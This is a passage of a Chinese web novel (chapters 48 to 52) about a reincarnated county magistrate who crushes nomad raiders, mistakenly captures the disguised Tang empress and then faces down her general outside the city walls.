宽大佩刀出鞘,狰狞的刀锋折射阳光,一双铜铃般的虎目,迸射出冰冷嗜血光彩。 然而他面前的,是比他更加嗜血暴徒,那些人似乎没看到他,脚步一步步上前。 “完了!” 李牧叹息一声,国不可无主,他只能再作打算! 轰隆隆! 地动山摇间,一队身着黑色甲胄的士卒,此刻正胯着战马,从云雾中冲出。 他们的甲胄狰狞,通体都是漆黑,幽暗的色彩在阳光下,折射出渗人的气息,每个人胸铠前,都有几道血红印记。 旌旗招展,嗜血气息冲天而起。 为首的奖励让秦琪瞳孔紧锁,那人三十来岁,面容冰冷,眼神锐利,端坐在战马上,犹如杀神降世。 战阵距离双方还有百步距离停下,那人打马缓缓走出,战马马蹄在官道上,发出“哒哒哒”沉闷声响。 蒙武更是汗毛竖起,他征战无数,强敌遇到不少,可眼前的这个青年,给他一种很突兀的感觉。 不是人! 就仿佛这个人是为杀戮而生,是一柄为了杀人的剑,是一把狂傲冰冷,嗜血的绝世凶兵。 这个人,绝对是个猛将,至少也是百战喋血,死里逃生的那种猛将。 如此人物,怎么会出现在青尧县? 就在几人惊骇目光中,为首青年缓缓来到阵中,冰冷眸子斜扫双方,手中长枪点地。 “犯我青尧,虽远必诛!” “尔等,退!” 冰冷的声音炸起,秦曦等人胯下马匹,仿佛见到了什么恐怖事物,全部站起悲鸣,带着几人就要狂奔。 秦曦强压心中恐惧,一把勒住缰绳,稍微后退了三十步,这才缓缓停下。 她的目的就是打探青尧县的军力,如今这个好时机,她自然不会放过。 那将领并未看她,手中长枪在地上划过,一抹泥土被掀翻,那冰冷的声音,再次响起。 “你们这些鞑子胆子还真的大,我们不杀你,没想到你们居然送上门!” “许大人有令,放下武器,饶尔等不死。” “否则……” 说到这里,他手中长枪猛然竖起,长枪枪尖直指天空。 “灭族亡种!” 秦曦脸色瞬间大变! 这难道就是青尧县的真实力量? 五万党项残部,得用两倍或者三倍兵力,才能压到。 而眼前的这些人,撑死也就三千,最先冲出的是重骑,想要依靠三千士卒灭杀五万人,怎么看都是天方夜谭。 可偏偏这名将领这么说,那些喋血残暴的党项人,居然退惧了! 这时,李牧幽幽来到秦琪身边。 “蒙将军,等下若是他们动起手,你先走!” “找个机会去通知康王,再不济也要将墨麟军汇聚!青尧县一旦败,我大唐危矣!” 蒙武瞪大眼,这番话就是在羞辱他。 大丈夫生而为天地,为家国,他岂能苟且偷生,丢掉陛下,独自逃窜? “不可!陛下才是大唐的砥柱,我不能……” “蒙将军,听李相的!” 秦曦想到了什么,三年前,那道白色身影一闪而逝,当时她在人群中,被康王簇拥着离开,只看到那白袍小将被一群黑色甲胄席卷。 自此之后,她梦中就多了一道影子,如今再次看到那熟悉的身影,她快要抑制不住心中的冲动。 她想要再次见到那小将,掀开对方面罩,好好看清楚。 见秦曦已经确定,蒙武嗫嗫嘴,心中屈辱万分,但不得不听令行事。 场中气氛肃杀,那名将领手中的长枪斜指,口中爆喝出声。 “冥顽不灵,杀!” 他整个人气势陡然报复,犹如一头猛兽,彻底打开束缚枷锁,明明是一人,给人却有千军万马的气势。 那些商队中,陡然传出一道冰冷怒吼。 “挡住他,给我挡住他!” 云端另外一方,秦曦骇然的瞪大双眼,从他们来的那方向,冲出无数黑压压的人群。 “杀!” 人群声若雷霆,气势磅礴,而那将领所冲锋的方向,赫然气势秦曦等人方向。 留守的几名玄影卫,立刻驱动马匹上前,四把长刀斜出,直指砍向黑甲将领。 “不……” 秦曦刚要说不可,可下一幕,她眼睛瞪圆,不敢置信的一幕,出现在她面前。 两名玄影卫手中的长刀,直接被震飞,两人虎口崩裂,鲜血不断涌出。 另外两人虽然还握着刀,但握刀的手不断颤抖,显然也是被这一击给震到了经脉。 玄影卫曾经保护了她无数次,哪怕是夺嫡,她也未曾心慌,但现在她的王牌,被一名武将给掀翻。 黑甲武将轻蔑一笑,手中长枪猛然再次砸下。 “冥顽不灵,死!” 秦曦脸色黝黑,她敢断定,眼前的武将,已经将她当做是党项走狗。 这话她虽然不信,可他们就夹杂在战阵中,若说不是,谁也不会相信。 不到五息,秦曦身边几名玄影卫,全部倒在地上,至于蒙武倒是借助这个空间,逃窜了出去。 “来人,将他们拿下,其余人跟我杀!” 毕竟秦曦等人是唐人,青尧县的规矩,大唐人不杀大唐人,几人这是被用屈辱的姿势捆住,并未有多少生命危急。 处理完几名玄影卫,大军再次压上,队列中走出十二人,人人都是黑甲。 秦曦和李牧身体颤抖,两人看着玄影卫的姿势,心中怒意不断翻腾。 “放肆,尔等可知我等是谁!” 秦曦忍无可忍,见到士兵而来,再也压不住心中怒意,爆喝出声。 第四十八章 给女帝上镣铐 秦曦的命令,只是让这些士卒脚步微微顿了下,并未有太多的迟疑。 在他们的眼中,秦曦不过是个叛徒,是个通敌叛国的叛徒,他们是军人,要保家卫国! “通敌叛国,若不是你等是唐人,今日就和那猪狗一样待遇!” 为首小队长冷笑一身,一把拽住秦曦胯下马匹,居然直接把马拽垮。 另外两名士卒,也走向了李牧。 秦曦眼睛瞪大,胸口不断欺负,那双凤眸中充满了屈辱。 李牧的脸色也很难看,但他不愧是见惯大场面的顶级谋士和权臣,见到这场面,不但没挣扎,反而快速下马,讨好的来到几名士卒面前。 “各位军爷,我等知罪,我家小姐不知道轻重,她是女子身,可否不用绳索?” “我等愿意戴上枷锁,还请军爷三思。” 那小队长刚拿起绳索,看到秦曦这细皮嫩肉的模样,再看李牧一把年纪,冷哼了一声。 “戴上脚镣,若是你等敢跑,今日就是你们的死期!” “不敢不敢!” 李牧长舒一口气,要是让这些人五花大绑,那可真成了笑话。 至于镣铐虽然屈辱,至少比现在这情况好。 几名玄影卫身体被绳索交叉穿过,双腿双手攒在一起,以一种极为怪异的姿势被捆住。一想到这种姿势出现在秦曦身上,李牧就打了个哆嗦。 见几名士卒去取镣铐,李牧再次压低声音。 “陛下,忍忍!一定要忍得住!” 秦曦怒不可遏,都如今这个时候了,还要她忍? 那双凤眸几乎要喷火。 “陛下,你看他们,从头到尾都没下重手,就代表不想杀我们,要不然我们现在就和那些党项人一样。” “你看看那黑甲武将,嘶!” 李牧抬头小心看了眼战况,一面倒的战局,让他只感觉身体都坠入冰窟。 党项人的战力可不是在马背上,而是马下! 如此恐怖的精锐,在青尧县的精锐面前,就和麦子一般,镰枪收割,短矛刺骨,无尽箭雨铺天盖地。 更让李牧觉得恐怖的是,从始至终还有千人方阵,到现在都没动过。 这些人分五排,每一排都有二百人,所有人手里拿着两个黑色圆筒,还有身上别着几个圆乎乎的东西。 他都不敢想象,这一千人出动,场面到底是什么模样! “陛下,我等是打探兵力和实力,现在不是可以看到了?” “等康王率军抵达,饶是那许攸不从,不还得跪下赔礼道歉?” “到时候要杀要剐,都是陛下您说了算!” “可要是现在暴露身份,怕不是这些狂徒要灭口,那些党项人也不会放过我等!” 秦曦打了个冷颤,要是她刚喊出自己,就是大唐皇帝,后果怕不是戴上镣铐这么简单。 虽然她现在还是很愤怒,但至少怒火已经逐渐熄灭,取而代之的是冰冷。 镣铐取来,李牧很懂事的取过,先给秦曦铐上,这才给自己铐上。 秦曦见到脚边的镣铐,心里杀意涌动,她已经决定,等康王抵达,就砍了这个不知死活的国贼! …… 此时的青尧县,许攸挠头,正在客栈门口踱步。 “许大人,五万三千党项残部,尽数诛灭!还请大人指示!” 听闻这话,他眼皮都没抬一下。 “五万三千人,赵龙啊赵龙,你小子是不是杀红眼了?” “本老爷说话,你当放屁是吧?” “给我滚去煤场,挖煤十天!” 赵龙浑身是血,血腥味冲天,被一脚踹在屁股上,依旧没动弹一下。 “大人,可不怪我,我让他们放弃武器,跪地投降,可他们不愿意。” “你不是说,犯我青尧,虽远必诛,要不给我五千人,我去把他们老窝都端了?” 许攸那叫个气,五万三千人,能挖多少没煤,能挖多少铁,能修多少路和房子? 也就赵龙这憨货,就知道杀杀杀,一点不知道动脑子。 “滚!” “等等,三千人,给我弄四万,不准比车轮低!” 思考再三,许攸还是没让赵龙去挖煤,说完后,他从怀里掏出个令箭,丢给赵龙。 “自己去库房选,别让兄弟们心寒,受伤死亡的,按照十倍抚恤发放,子女都送入烈士堂。” “另外滚去洗干净,下次再敢这么招摇,我就让你去挖煤!” 赵龙露出憨憨笑容,接过令箭后,塞进兜里,随后想起什么,又挠挠头。 “适才我们出城扫荡时候,发现了一队大唐商队,似乎是党项的探子!” “我们查探后发现,那探子早几日就来城中,其余人等都已经拿下送入煤场,只有个小姑娘没抓。” 许攸一听还有探子,立刻露出不耐烦的神色。 “不抓留着干什么?人在什么地方?” 赵龙小心翼翼瞥了眼许攸,见到他并未有什么怒意,这才指向身后的客栈。 “就在里面!” 许攸脑子都在他的小媳妇身上,完全没听清楚。 “带出来!” 不多时,一道娇小的身影,被赵龙给提了出来。 那软绵的小身体上,被鲜血抹的鲜红,俏脸呈现出惨白,眼底水光弥漫,满脸都是恐惧和绝望。 小小的身体,因为恐惧,在不停发抖。 赵龙提着她来到许攸面前,憨笑着询问。 “大人,要不要送去煤场?” 许攸心神完全没注意,挥手就道。 “送……等等!” 他话还没说完,就被身后曹云飞拉住。 “许兄,那是!那是!” 许攸顺着他目光看去,也是吓了个激灵! 老天爷! 赵龙这坑人玩意,抓了个啥玩意? 怎么办? 许攸心虚无比,这可是他未来小姨子,虽然关系有点远,可要是人家在小媳妇面前嘀咕几句,他的人生大事,岂不是吹了? 在看那绵软小身体上的血迹,许攸就感觉脑袋被人用锤子狠狠砸了两下。 “赵龙!你他娘的给老子滚!” “立刻!马上!现在!给老子滚!” 赵龙打了哆嗦,也不管手里的小公主,身形立正,打了个礼,随后一溜烟消失不见。 留下的许攸和曹云飞面面相觑,看着瘫坐在地上的小公主,两人心里一阵哇凉。 “许攸,我姐姐和我舅舅呢?” 怯怯的声音,再次把许攸打入地狱。 第四十九章 让许攸出来受死 “你要是敢伤我姐姐和我舅舅,我就让你们好看!” “我……我要诛你们九族!” “你快放了他们,呜呜!” 那稚嫩的声音,不断响起,嗓音中带着哭腔,明明很凶的话语,现在不但没有任何威胁,反而充满了撒娇意味。 许攸扯扯嘴角,内心已经把赵龙给骂死。 “这个坑爹玩意,当年就应该把你丢尿盆里面淹死!” 想是这么想,但是他不可能这么干,赵龙可是新生代最强武将,能打能抗,是个很不错的将领。 他蹲下身体,露出个自以为很温和的笑容。 “小姑娘,你这话什么意思?本大人可不知道你姐姐,还有你舅舅去了什么地方!” “要不现在,本大人就帮你去问问?” 说完,许攸眯起眼看向身边曹云飞。 “云飞,你知道这小丫头的姐姐和舅舅去处吗?” 曹云飞是个二代,但脑子很聪明,他从开始就听出了赵龙话中意思。 此刻他满脑子空白。 他爹和他娘再三叮嘱,让他别招惹那个秦掌柜,还特意点名,人家是圣上的人。 现在倒好,他不但招惹了,对方还进了煤场。 “许兄,你有没有什么路子,能送弟弟去波斯的?” “这大唐,弟弟是待不下去了!” 继续留下去,曹云飞担心自己会被老爹用烧火棍给抽死。 到时候怕不是混合双打,而是每天一大打,闲来无事就揍他两拳。 许攸还没反应过来,看到曹云飞这鬼哭狼嚎的模样,满脑子疑惑。 “你哭啥?你爹不是没死么?也没轮到你继承世子位置,你哭的和死了爹一样,闹呢?” “许兄,你细品,你细品啊!” 曹云飞不敢直说,只能含糊其辞的示意。 许攸没听明白,只当他发神经,扭头再次笑眯眯的蹲在小公主面前。 “小丫头,你姐姐去了什么地方?” “他们……他们……” 小公主也不知道秦曦等人的去处,今日秦曦只告诉她,让她在客栈里面等李牧回来。 她人小,心思却剔透,知道此次姐姐出去,十有八九会有危险。 许攸眯起眼,他越看这小丫头越喜欢,看到对方脸上的血渍,拿出手帕,冲着客栈老板要了点水,开始帮忙清洗。 “我可告诉你,城外现在有好几万党项残部,本老爷已经下令,全城戒严了!” “现在谁也出不去,出去就是找死,那些党项人可是杀人不眨眼的魔头,最喜欢吃你这样细皮嫩肉的小孩子。” 许攸一边擦着她脸上血渍,一边半真半假的吓唬。 小公主脑袋瞬间炸开,外面居然有党项人。 她的姐姐肯定是出城了! 一时间,她感觉有种不好的预感! “你!你知道我的身份?” 她的声音在发颤,双腿不自觉的颤抖。 她再怎么聪明,也不过是个小姑娘,此刻见到许攸这笑面虎模样,吓得差点没昏死过去。 许攸见到演不下去,讪讪一笑。 “知道那么一点点,我就知道一点点,你可别乱说。” “你姐姐他们下落,你不比我更加清楚吗?” 他还是没反应过来,只是说完这句话,下意识的反问了一句。 “你不会说,他们出城了吧?” 小公主吸了口鼻涕,眼巴巴的瞪大,眼底也不知道是凶光还是泪光,看的许攸心都快化了。 “我姐姐和我舅舅,他们出城了!” “哈哈,出城了……出城?” 许攸仰头大笑,笑到一半,然后就彻底笑不出来了。 “他娘的,赵龙你他娘坑老子!” 他再傻也反应过来,赵龙说的内奸,十有八九就是打算出城考察的秦曦等人。 以赵龙那见到外族,就脑子宕机的性格,三句话吓不退,那就是同伙! 党项的同伙,那就是内奸,是内奸就得抓! 许攸要吐血,他英明一世,居然给小弟给坑了,还把自己媳妇送到了煤场。 他回头看向身后的曹云飞,后者早已双腿打摆子,那张脸都是苦涩笑容。 “许兄,要不咱们一起去波斯?” “走!” 许攸喊来胭脂,嘱咐一句好好照顾,夹着腿就跑,一秒钟都不敢留。 太尴尬了,把媳妇送进煤场,估计他是有史以来第一人! 他正在往煤场跑,青尧县外,此刻也不安静。 …… 距离青尧县二十里,营地内火光将整个营地照亮。 大帐中气氛压抑,蒙武双目赤红,浑身上下都散发着嗜血气息。 “康王,事到如今,你还在犹豫什么!” “难不成你也要和那许攸一样,通敌叛国不成!” 庭帐内,上方的座位正端坐着个四十来岁中年男人。 男人剑眉星目,满脸何须笑容,哪怕是听到这话,依旧带着笑意。 “本王又没下令不出兵,三万荆州大营士卒尽数在此,还有五千墨麟军,蒙将军可随意指挥。” “不过你可要想好,进攻青尧县,那后果是否你能承担!” 说话的人就是曹云飞父亲,曹志! 身为异姓王,他的身份可不简单,他的父亲是一字王,和高祖平起平坐的主。 如今到了他这里,虽然地位权利不如当年,但也不是蒙武可以随意呵斥。 蒙武深吸一口气,一双虎目环视四周。 “好!一切后果,我来承担!” “传吾军令,全军披甲,一炷香之内,我要攻占青尧!” 整个大帐陷入死寂,谁也没想到,蒙武会如此的疯狂。 走出营帐的瞬间,蒙武扭头看向台上的康王,眼底杀意毕露。 “若是陛下有难,蒙武会亲自去康王府,将你满门屠杀,以慰陛下在天之灵!” “呵呵,随意!” 康王嘴角勾起,满脸都是淡淡的不屑。 不多时,军营之中马万奔腾,铁甲刀兵肃杀,四万精锐整装待发,五千墨麟军更是化作箭头,直冲青尧县城墙。 月色下,一道道身影奔腾,黑压压的巨兽崩腾,地面都在震颤。 就在他们动的瞬间,青尧县内已经做好了准备。 看到近在咫尺的城墙,蒙武手持蛇矛,立在城门口。 “许攸给某滚出来受死!” “三息之内不出来,蒙某要让你青尧城破,让你青尧血流千尺!” 第五十章 出城投降 城楼上,三道身影幽幽出现。 三人不是别人,正是曹家大少曹云飞,以及青尧神将赵龙,和青尧县县令许攸。 许攸正愁怎么把这件事圆过去,谁知下午就听到急报,说康王带人过来,要攻打青尧县县城。 “许兄,我家老头子肯定是被迫的!” 曹云飞看到旗号,吓得双腿打颤。 许攸没好气的翻了个白眼,别人不知道康王是什么人,他难道不清楚? 若是康王真要动他,在他来青尧县的时候,就会动手。而不是送粮送兵,直到他发展壮大,才过来“送死”。 仔细往楼下看去,他突然有了主意。 “等会看我眼色行事,今晚能不能把你嫂子哄开心,就看咱们的演技了!” “行,许兄你说什么,我都听你的!” 曹云飞典型遇到许攸就没脑子,至于赵龙更是如此。 三人站在城楼上,低头看向城门口的蒙武。 “哎哟,这是谁啊!谁要取我狗命?” 城楼下大军黑压压的,四万人绵延如海,恐怖的人流,哪怕是青尧县城墙高大,也难以抵挡如此恐怖气势。 蒙武气不打一处来,如今天子不知道生死,来的一路上,血腥味弥漫,依稀可以看到草地上还有战斗的痕迹,鲜血更是渗入到泥地中。 “许攸!赶紧请我家小姐出来!” “若是她有三长两短,今日我让你青尧县鸡犬不留!” 蒙武捏紧拳头,手掌蛇矛斜指,声若雷霆,在城门口不断翻腾。 许攸眯起眼,四万人大军他不怕,问题是这里面有五分之四是康王的人马,都是受过他恩惠的。 这可都是自己人! 另外五千人倒是有点意思,麒麟旗帜,旗帜上只有个血红秦字。 “墨麟军!” 墨麟军能被称之为精锐,自然有过人之处。铠甲漆黑如墨,身姿挺拔,每个人身上都充斥着肃杀气息。 光是这股肃杀气息,就比大部分军队强百倍! 许攸捏起下巴,这群墨麟军应该就是康王传信,是保护秦曦的。 看来秦曦的身份,不止是陇西秦氏大小姐这么简单! “云飞,咱们那狗……天子,有没有姐妹?我说的是亲姐妹,嫁人死了老公那种。” 曹云飞闻言低头沉思。 天下间很少有人知道,天子不仅有妹妹,还有个姐姐云安郡主! 云安郡主在先皇还在世时,就已许给当年的状元郎,可惜运气不太好,刚过门就成为寡妇。 “许兄,有倒是有这么个人,封号云安郡主,算起来比我等大两三岁。” “不过她也是可怜人,刚过门还未洞房,状元郎醉酒淹死在水潭内,直到第二天才被人发现,因此惹得先皇不喜,被发配回了陇西老家,她……” 说到这里,曹云飞说不下去了。 这位陇西秦氏大小姐,十有八九,就是那个死了丈夫,被打回陇西老家的云安郡主! 闻言,许攸眯起眼,果然和他猜的差不多。 “这下麻烦了!” 他想死,但是不能死于非命。 当初阎王爷答应他,只要他凑足功德,就能重新开启六道轮回,不但可以回到原来世界,还能超脱世俗,得到仙骨! 有了仙骨,他就是仙人,再也不是那个任人压榨的穷屌丝! 救人济世是有功德,杀人也有损功德,哪怕是他间接命令,今天刚杀了不知道多少,要是再把屠刀对向受过他恩惠的人,那么他五年的功德,怕是一朝灰飞烟灭。 许攸眉头紧皱,他第一次发现,自己也有软肋,那就是不等超脱,不能得道! 此刻他的迟疑,被蒙武全部看在眼底。 “许攸,你怕了!” 粗重的声音再次响起,带着一丝狂傲和得意。 蒙武见到许攸沉默半天,脸上的神色变化,下意识以为自己身后四万大军,将这个胆大包天的国贼给震慑。 他的心中也暗暗松了口气,手中蛇矛也挺直几分,那股狂傲气息更加浓厚。 “我劝你早些跪地投降,我还能给你留个全尸!” “我身后乃是大唐最强精锐,墨麟军!” “你若是投降,这满城百姓还能活,若是不然……” 蒙武裂开嘴,那双虎目浮现出嗜血笑容。 他有自己的底气,在他的眼中,许攸如今就是丧家之犬,随时被屠戮而已。 然而这番话说完,许攸连看都没看蒙武一眼。 “这位将军,你认为就靠着你身后的这点人马,就能威胁我?” “你要不看看,你身后这些人,他们敢动吗?” 蒙武回头看去,骤然发现,他所带来的人马,居然变成两阵人马。 这是什么情况! 一时间,蒙武没反应过来,知道看见那些顶着康王旗帜的人马,全部后退三步,旗帜也纷纷斜指。 他们不愿意对着青尧县动手,整个荆州都知道青尧县,也都受过恩惠,在这个时候,他们也不愿意将青尧县给毁掉。 甚至只要许攸下令,危急时刻,他们会倒戈! “这位将军,现在你还有信心吗?” 蒙武没回答,身后的异状,让他心沉入谷底。 青尧,不!整个荆州,沆瀣一气,蛇鼠一窝,彻底叛变了! 康王有谋反之心! 许攸没意识到,蒙武把他误抓天子的帽子,扣到了康王身上。 要不然,他现在根本不会怕,甚至嘴能笑裂开。 “这位将军,你现在已经被本老爷包围了,我劝你最好老实交代,不然城门开时,就是你的忌日!” 说完,许攸轻笑出声,那冷冽笑声,吓得蒙武一颤。 这几日时间,蒙武深感青尧县的恐怖,而且许攸行事风格异于常人,他是真怕许攸发疯,到时候先杀了天子,再灭了这五千墨麟军。 到了那时候,大唐必亡! 两军交锋,双方主将气势,可是直接影响大军士气。 许攸气盛,蒙武神态萎靡,这就导致墨麟军士气骤减! “现在本老爷问你!你最好老实回答!” 敌消我长! 许攸气势陡然变得凌厉,一双鹰眸射出精光。 “我只有三个问题!” “第一,你们为何而来,来此的目的是为何!” 第五十一章 女帝的真实身份 “青尧县地处西北,官道阻塞,荆州边界更有我设立的驿站,你们是如何做到,避开所有耳目,来到此地!” “你们可别说是康王的指示,沿途驿站都是我亲自设立!说出你们的目的,以及来此的缘由!” 城楼上的声音不断传来,如同雷声直击蒙武心脏。 蒙武听到这个问题,脸色变得阴沉,盯着许攸看了许久,这才阴阴的回答。 “许攸,有些事可不是你能知晓!” “我劝你莫要多问,也莫要多打听,放了我家小姐,我留你全尸!” “嗯?这么硬气的吗?” 许攸挥挥手,城墙上骤然亮起千万火把。 “不想死的,后退五十步!否则射程之内,杀无赦!” 幽暗的弩箭,箭矢上散发出幽幽绿光。 看到那森寒的绿色,蒙武眼皮狂跳,他丝毫不怀疑,只要沾染到,哪怕不是要害,也会中毒身死! “第二个问题,你等如何有军令,可正常进入州府!” “倘若你不说,那我就以康王手令,开城剿灭贼寇!” “本官身为青尧县县令,有镇守边关,守护国门之职,今日尔等率军闯关,妄图通敌叛国!” “若是你不能说清楚,那么可别怪我不客气!” 令旗出现在许攸手中。 轰隆隆! 城头的战鼓雷动,轰隆隆擂鼓声,犹如天雷降世,不断在云间翻腾。 只要令旗挥舞,城头大军必然会万箭齐发,到了那时候,无论是什么名义,最终也只能以“通敌叛国”落幕! “你……你休得胡言!” 蒙武气息紊乱,眼眶赤红,手中的蛇矛因为愤怒,也在不停颤抖。 “某乃……某不是通敌叛国的奸细!” 他不敢说出身份,否则许攸一旦知道天子身份,必然会牵连到天子。 “那你倒是说说,你是谁,你家小姐又是谁!” “我……我是……” 蒙武身体颤抖的愈发厉害,最后一问,犹如一击重锤,狠狠砸在了他心口。 身为大唐大将军,他必须保护大唐,哪怕是面对许攸的屠刀,他也得保证天子安全。 “某的身份,你无需知道!” “当如果你不将我家小姐放出,哪怕有康王护着你,你都会迎来灭顶之灾!” 嗯? 许攸捏起下巴,本来他是怀疑,现在看到城楼下蒙武的态度,内心已经彻底确认,被他误抓的小媳妇,就是那位死了丈夫的云安郡主。 “卧了个槽!赵龙这坑爹玩意,这是给老爷我,找了个大麻烦!” 他的脸色也不由变化! 可是他心头还有一点说不通! 云安郡主千里迢迢来到青尧县,是为了什么? 陇西秦氏乃是大唐的祖龙地,人才辈出,云安郡主在陇西,那就是山大王,不但没人敢刁难她,还得巴结着。 毕竟她可是当今天子亲姐姐! 许攸眉头紧皱,他现在有点担忧,是不是他那份“请死”奏疏,被天子看到了。 难道天子觉得他吹牛比,故意安排这位秦姐姐过来打探? 要是事情是真的,就让这位云安郡主出手,先斩了他的狗头? 可这又说不通,云安郡主是郡主,没有兵权,再者康王是他的人,怎么可能有消息不通知他。 偏偏他这边刚屠了党项残部,云安郡主就冒出来,这怎么看都是个阴谋。 难不成是阎王爷故意不让他回去? 许攸脸色发黑,当初是阎王爷手滑勾错了人,现在还敢拦着他,不怕他去告御状? 忽然,一道灵光浮现。 许攸一拍手,心里立刻有了主意! 他反正装作什么不知道,只要云安郡主挑明,他就认!但是什么罪,他可不认! 除非是那狗皇帝亲自来,到了那时候,他不但认罪,还主动把脑袋送上去。 计划通! 许攸眯起眼,一切都想通,他就没心理负担,该杀就杀,大不了就多救点。 刚好河内发大水,到时候他安排人,让康王也安排点,功德依旧是刷刷到账! 就在他思索之际,城楼下的蒙武也反应过来。 蒙武气急败坏,他差点上大当! “许攸,某给你最后一次机会,速速打开城门,将我家小姐请出来!” “若是不然,今日某就是死,也要拉着你去见阎王爷!” 许攸看看蒙武那气急败坏的模样,心中猜测愈发肯定。 云安郡主必然是狗皇帝派来刺探情报,那位狗皇帝不敢来,只能把自己姐姐派过来当探子。 要是之前,他肯定慌,但现在有了对策。 想到此,他嘴角勾起,嘴角的笑意,让人发寒。 “哎呦呦,可吓死本老爷了!” “这位将军,你真的要攻城?要拉着本老爷去阎王那,和你论个高下?” “那如果我先杀了你家小姐,你又如何呢?” “看看本老爷的城墙,看看本老爷的兵,你打得过吗你?” “叫,继续叫!” 论嘴上的功夫,十个蒙武都比不过一个许攸。 远处督战的康王闻言,忍不住摇头轻笑。 康王之所以来,不是为了保护蒙武,而是保护许攸,必要之时,他会举起大旗,抗下一切。 “大哥,你有个好女儿,哈哈!” “这大唐变得有意思了!” 康王的嘴角勾起,看到无事,便挥挥手,示意车夫先离开。 而蒙武却不是如此淡定,许攸这番话,刺激的他差点从马背上跳起来。 那黝黑的脸,瞬间都变成了血红,手中蛇矛抖动,银环发出“哗哗”的声音。 “竖子!尔敢!” 他虎目瞪圆,牙齿要的咯吱作响,恨不得现在就冲上城头,把许攸给撕碎! 可是愤怒归愤怒,蒙武心中清楚。 五千墨麟军,不是一回之敌,甚至挡不住大军一轮起售! 曾经横扫天下的墨麟军,在青尧县城卫军面前,就是一张纸,随手可捅破的纸。 就在这时候,许攸优哉游哉让人打开城门,他和曹云飞以及赵龙,从城门上走下。 看到他的出现,不但是蒙武懵了,就连刚走不远的康王,也急忙让车夫停下。 “这位将军,你以为本老爷,真的对你们身份一无所知?” 此话一出,所有人脸色大变,康王更是握紧手中的卷轴。 “这一天,还是来了吗?” 第五十二章 倒打一耙的许攸 三年前,新帝继位,遭到太子残部以及党项围攻,康王从西北率领五万大军入京勤王。 那一战的结果,天下间无人得知,只有参与的士卒和百官知晓,但无人敢说出结果。 而那天之后,康王就成了个禁忌代名词,不少官员曾经谏言,废黜康王。 哪怕是李牧,对这位康王,也充满忌惮! 而如今康王手中,手里拿着一道圣旨。 “三年了,难道还做不到吗?” “许攸是个大才,本王不及他,若是谁能当这新君,也只有他莫属,可惜!可叹!” 康王幽幽叹息,世人都知道他无能,却不知道他有匡扶天下之心,有济世为民之德。 唯有那个青年,五年前来到康王府,躬身为三千青尧流民请命。 也唯有那个青年,敢以五千之数,横扫荆州数十万盗匪,以战养民。 以民推战,以俘虏铸城修路,大力发展民生。以一己之力,震慑西北五年不敢踏足天关。 马车的车帘掀开,康王脸上浮现出决绝。 他已经下定决心,真要到了那时候,他会亲自出面,接下这一切后果。 许攸还不知道,康王打算以命为他铺路,此刻他悠哉哉走出来。 “五千墨麟军,说句不客气的话,在你们汇聚的时候,本老爷就接到了消息!” “你不是想杀本老爷,那么本老爷给你个机会!” 淡漠的声音很平静,那洞悉一切的自信,让五千大军陷入沉默,连蒙武都低下头。 “本老爷给你们准备了大礼!” “赵龙,擂鼓,起阵!” “犯我青尧,虽远必诛!” 咚!咚!咚! 战鼓声音骤然变化,轰鸣声响彻天地。 紧随其后,号角冲天而起,哪怕在黑夜中,也穿透了天际! 一抹银色的光辉浮现,犹如一条长龙,在天空中划过。那银白色的长龙,浮现有十多秒,这才缓缓消失不见。 蒙武茫然的抬起头,不明白这到底是什么。 他只感觉心脏似乎漏跳了半拍,就仿佛有人攥住他的心脏,狠狠的攥了下! 而此时,天地间异变突然出现! 那漆黑的天际,一抹亮光浮现。 星星之火可以燎原,不过是呼吸间,就仿佛是要把天空撕裂,从天际浮现,连成了一条长龙。 星空下,火光连天,紧接着就是万马齐鸣,地动山摇。 那声音犹如山崩,从远处逐渐传来,随着马蹄声越来越急促,逐渐变得清晰。 大地在畏惧,星空彻底被撕裂,黑色洪流自两翼涌出。 早在看到火光瞬间,一道长啸突兀响起,那三万五千荆州士卒,诡异的全部涌道城墙附近,居然把许攸给保护了起来。 没有厮杀声,没有冲阵,马蹄声也彻底消失。 五千墨麟军被包裹! 蒙武回头看去,脸色唰的一下,变成了惨白。 他以为墨麟军横扫天下,再不济也得能抵挡片刻,可如今他错了,错的离谱! 黑夜之中,墨麟军每个人脸上,不是迷茫,就是愕然,或者是凝重。 两条长龙涌现瞬间,他们就做好了准备。 可接下来的所有一切,都打破了他们的认知! 战场早已被掌控,而这一切的主人,则是眼前不到三十的青年。 “你!你是如何做到的!” 五千人!这可是五千人,每个人脖子上都架着一把刀! 只要墨麟军有任何的异动,下一刻,他们绝对会身首异处。 “这位将军,你还觉得,你能赢本老爷?” 许攸穿过大军,悠悠走到了蒙武面前。 他的脑袋扬起,语气陡然也变得森然。 “你这五千人,没有任何诏令,擅自出现在边关要塞,还要进攻我青尧县,此乃通敌叛国之罪!” “本老爷乃朝廷命官,食君俸禄,自是要为君分忧,有责任镇守边关!” “今日就是将尔等削首,事后就是陛下怪罪,那本老爷也有开脱之言!” 这番话不但没有任何漏洞,还把蒙武等人的行为,直接给定性! 边关的县令,本就有保家卫国的责任,否则青尧县也不会十多年,只有许攸这么一个县令。 蒙武瞳孔紧缩,他低下头看向近在咫尺的青年,只要蛇矛捅过去,就能斩杀这个国贼。 可他敢吗? 不敢! 那四周如同火龙一样的存在,那黑黝黝的长刀,绝对不是虚张声势。 十万人并非是虚数,在这上面,可能还有更多! 光这五千人,就可以神不知鬼不觉的摸到墨麟军身边,那么这十多万人,该是多恐怖? 大唐的墨麟军,只有一万人,不是不想继续募集,而是大军组建需要巨大的财力和人力,以及精力。 如今的大唐有上千万人,也只有一万精锐。 蒙武不敢想,青尧县到底有多少人,才能支撑如今的大军。 当时他还觉得这青尧县有十万大军,是个笑话,如今看来,他才是个笑话。 眼前的许攸,就是个彻头彻尾的反贼! “那又如何?” 蒙武心腔内,一股杀意不断溢出。 他是大唐上将军,曾经征战四方,镇压诸国的存在! 戎马一生,他经历过很多危险,也有许多生死时刻,就眼前的绝境,他也遇到过,可他怕过吗? “大丈夫一死而已!” “黄口小儿,你以为这些就能吓退某!” “墨麟军听令,卸甲!” 许攸都诧异了,眼前的莫不是个疯子? 墨麟军最疯狂的就是那股嗜血冷漠的杀意,一旦到了绝境,他们不会退缩,而是放弃一切负担,只靠双手中的武器,作为最后荣耀。 “今日,本将军就要攻破城墙,将你这反贼斩杀,青尧县满城,也要因你而灭!” “杀!” 被这番话点燃,那些被压制的墨麟军,双眼泛起血色,一个个扬起脖颈,起身怒吼。 “杀!杀!杀!” 冲天怒吼汇聚成为气浪,哪怕城卫军诡谲异常,也被这股气浪冲散。 